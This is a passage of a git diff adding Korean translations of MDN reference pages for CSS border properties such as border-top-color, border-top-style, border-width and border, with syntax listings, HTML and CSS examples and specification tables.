+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('속성_값의_예시_표', 300, 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Adds <code>hidden</code> keyword value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-style', 'border-style')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-width")}}, {{Cssxref("border-color")}}, {{Cssxref("border-radius")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-top-color/index.html b/files/ko/web/css/border-top-color/index.html
new file mode 100644
index 0000000000..9212f447e2
--- /dev/null
+++ b/files/ko/web/css/border-top-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-top-color
+slug: Web/CSS/border-top-color
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-top-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-top-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-top")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers  language-css">/* &lt;color&gt; 값 */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* 전역 값 */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+</pre>
+
+<p><code>border-top-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>위쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+  &lt;p&gt;This is a box with a border around it.
+     Note which side of the box is
+     &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+  border: solid 0.3em gold;
+  border-top-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top-color', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-top-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top-style/index.html b/files/ko/web/css/border-top-style/index.html
new file mode 100644
index 0000000000..38262fffc3
--- /dev/null
+++ b/files/ko/web/css/border-top-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-top-style
+slug: Web/CSS/border-top-style
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-top-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-top-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 위쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* 전역 값 */
+border-top-style: inherit;
+border-top-style: initial;
+border-top-style: unset;
+</pre>
+
+<p><code>border-top-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-top-style example classes */
+.b1 {border-top-style: none;}
+.b2 {border-top-style: hidden;}
+.b3 {border-top-style: dotted;}
+.b4 {border-top-style: dashed;}
+.b5 {border-top-style: solid;}
+.b6 {border-top-style: double;}
+.b7 {border-top-style: groove;}
+.b8 {border-top-style: ridge;}
+.b9 {border-top-style: inset;}
+.b10 {border-top-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-top-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-top-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{cssxref("border-top")}}, {{cssxref("border-top-color")}}, {{cssxref("border-top-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top-width/index.html b/files/ko/web/css/border-top-width/index.html
new file mode 100644
index 0000000000..caa05e40cc
--- /dev/null
+++ b/files/ko/web/css/border-top-width/index.html
@@ -0,0 +1,148 @@
+---
+title: border-top-width
+slug: Web/CSS/border-top-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/border-top-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-top-width</code></strong> 속성은 요소의 위쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-width.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값*/
+border-top-width: thin;
+border-top-width: medium;
+border-top-width: thick;
+
+/* &lt;length&gt; 값 */
+border-top-width: 10em;
+border-top-width: 3vmax;
+border-top-width: 6px;
+
+/* 전역 값 */
+border-top-width: inherit;
+border-top-width: initial;
+border-top-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td>얇은 테두리</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td>중간 테두리</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td>넓은 테두리</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-top-width: thick;
+}
+div:nth-child(2) {
+  border-top-width: 2em;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-top-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-top-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-top-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-top")}}, {{Cssxref("border-top-style")}}, and {{Cssxref("border-top-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top/index.html b/files/ko/web/css/border-top/index.html
new file mode 100644
index 0000000000..53b254c317
--- /dev/null
+++ b/files/ko/web/css/border-top/index.html
@@ -0,0 +1,109 @@
+---
+title: border-top
+slug: Web/CSS/border-top
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 테두리
+translation_of: Web/CSS/border-top
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 위쪽 테두리를 설정합니다.</span> {{cssxref("border-top-width")}}, {{cssxref("border-top-style")}}, {{cssxref("border-top-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-top</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-top-style: dotted;
+border-top: thick green;
+</pre>
+
+<pre class="brush: css">border-top-style: dotted;
+border-top: none thick green;
+</pre>
+
+<p>따라서 <code>border-top</code>보다 먼저 지정한 {{cssxref("border-top-style")}}의 값은 무시됩니다. {{cssxref("border-top-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+</pre>
+
+<p><code>border-top</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-top-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-top-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-top-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  위쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  border-top: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-top")}}</p>
diff --git a/files/ko/web/css/border-width/index.html b/files/ko/web/css/border-width/index.html
new file mode 100644
index 0000000000..f41c188740
--- /dev/null
+++ b/files/ko/web/css/border-width/index.html
@@ -0,0 +1,194 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-width</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소 네 면 테두리의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-width.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border-width</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+border-width: thin;
+border-width: medium;
+border-width: thick;
+
+/* &lt;length&gt; 값 */<em>
+</em>border-width: 4px;
+border-width: 1.2rem;<em>
+</em>
+/* 세로방향 | 가로방향 */
+border-width: 2px 1.5em;
+
+/* 위 | 가로방향 | 아래 */
+border-width: 1px 2em 1.5cm;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-width: 1px 2em 0 4rem;
+
+/* 전역 키워드 */
+border-width: inherit;
+border-width: initial;
+border-width: unset;
+</pre>
+
+<p><code>border-width</code> 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 네 면 모두의 테두리 너비를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 너비를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>thin</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">얇은 테두리</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>medium</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">중간 테두리</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>thick</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">굵은 테두리</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="서로_다른_값의_조합">서로 다른 값의 조합</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p id="sval"&gt;
+    한 개의 값: 모든 네 면이 6px 테두리&lt;/p&gt;
+&lt;p id="bival"&gt;
+    두 개의 다른 값: 위아래에 2px 테두리, 좌우에 10px 테두리&lt;/p&gt;
+&lt;p id="treval"&gt;
+    세 개의 다른 값: 위에 0.3em, 아래에 9px, 좌우에 0&lt;/p&gt;
+&lt;p id="fourval"&gt;
+    네 개의 다른 값: "얇은" 위, "중간" 오른쪽, "두꺼운" 아래, 왼쪽 1em&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">#sval {
+  border: ridge #ccc;
+  border-width: 6px;
+}
+#bival {
+  border: solid red;
+  border-width: 2px 10px;
+}
+#treval {
+  border: dotted orange;
+  border-width: 0.3em 0 9px;
+}
+#fourval {
+  border: solid lightgreen;
+  border-width: thin medium thick 1em;
+}
+p {
+  width: auto;
+  margin: 0.25em;
+  padding: 0.25em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('서로_다른_값의_조합', 320, 320) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct change; the {{cssxref("&lt;length&gt;")}} CSS data type extension has an effect on this property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Added the constraint that values' meaning must be constant inside a document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}</li>
+ <li>테두리 너비 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}</li>
+</ul>
diff --git a/files/ko/web/css/border/index.html b/files/ko/web/css/border/index.html
new file mode 100644
index 0000000000..405ccfb05c
--- /dev/null
+++ b/files/ko/web/css/border/index.html
@@ -0,0 +1,151 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Layout
+  - Reference
+  - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 테두리를 설정합니다. {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 스타일 */
+border: solid;
+
+/* 너비 | 스타일 */
+border: 2px dotted;
+
+/* 스타일 | 색 */
+border: outset #f33;
+
+/* 너비 | 스타일 | 색 */
+border: medium dashed green;
+
+/* 전역 값 */
+border: inherit;
+border: initial;
+border: unset;
+</pre>
+
+<p><code>border</code> 속성은 다음의 값 중 한 개에서 세 개를 선택해서 지정할 수 있습니다. 순서는 영향을 주지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 스타일을 지정하지 않으면 기본값인 <code>none</code>이 사용돼 테두리가 보이지 않습니다.</p>
+</div>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt id="&lt;line-width>"><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 굵기로 기본값은 <code>medium</code>입니다. {{Cssxref("border-width")}}를 참고하세요.</dd>
+ <dt id="&lt;line-style>"><code>&lt;line-style&gt;</code></dt>
+ <dd>테두리의 스타일로 기본값은 <code>none</code>입니다. {{Cssxref("border-style")}}을 참고하세요.</dd>
+ <dt id="&lt;color>">{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>테두리의 색상으로 기본값은 <code>currentcolor</code>입니다. {{Cssxref("border-color")}}를 참고하세요.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 단축 속성과 마찬가지로, 생략한 속성은 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 설정됩니다. 한 가지 중요한 점은, <code>border</code>를 사용해서는 {{cssxref("border-image")}}에 원하는 값을 지정할 수는 없고 대신 초깃값인 <code>none</code>이 자동으로 설정됩니다.</p>
+
+<p><code>border</code> 단축 속성은 요소의 테두리를 모두 동일하게 설정하고 싶을 때 특히 유용합니다. 그러나 서로의 테두리를 다르게 하고 싶다면 네 면을 각각 설정할 수 있는 본디 속성 {{Cssxref("border-width")}}, {{Cssxref("border-style")}},{{Cssxref("border-color")}}를 사용하면 됩니다. 아니면 한 면의 테두리를 절대 기준({{Cssxref("border-top")}} 등)이나 상대 기준({{Cssxref("border-block-start")}} 등) 속성을 사용해서 따로 정해줄 수도 있습니다.</p>
+
+<h3 id="테두리_vs외곽선">테두리 vs외곽선</h3>
+
+<p>테두리와 <a href="/ko/docs/Web/CSS/outline">외곽선</a>은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.</p>
+
+<ul>
+ <li>외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.</li>
+ <li>명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.</li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate"><code>{{csssyntax}}</code></pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="튀어나오는_듯한_분홍색_테두리_추가하기">튀어나오는 듯한 분홍색 테두리 추가하기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;테두리와 외곽선에 더해 그림자까지, 정말 멋지지 않나요?&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  border: 0.5rem outset pink;
+  outline: 0.5rem solid khaki;
+  box-shadow: 0 0 0 2rem skyblue;
+  border-radius: 12px;
+  font: bold 1rem sans-serif;
+  margin: 2rem;
+  padding: 1rem;
+  outline-offset: 0.5rem;
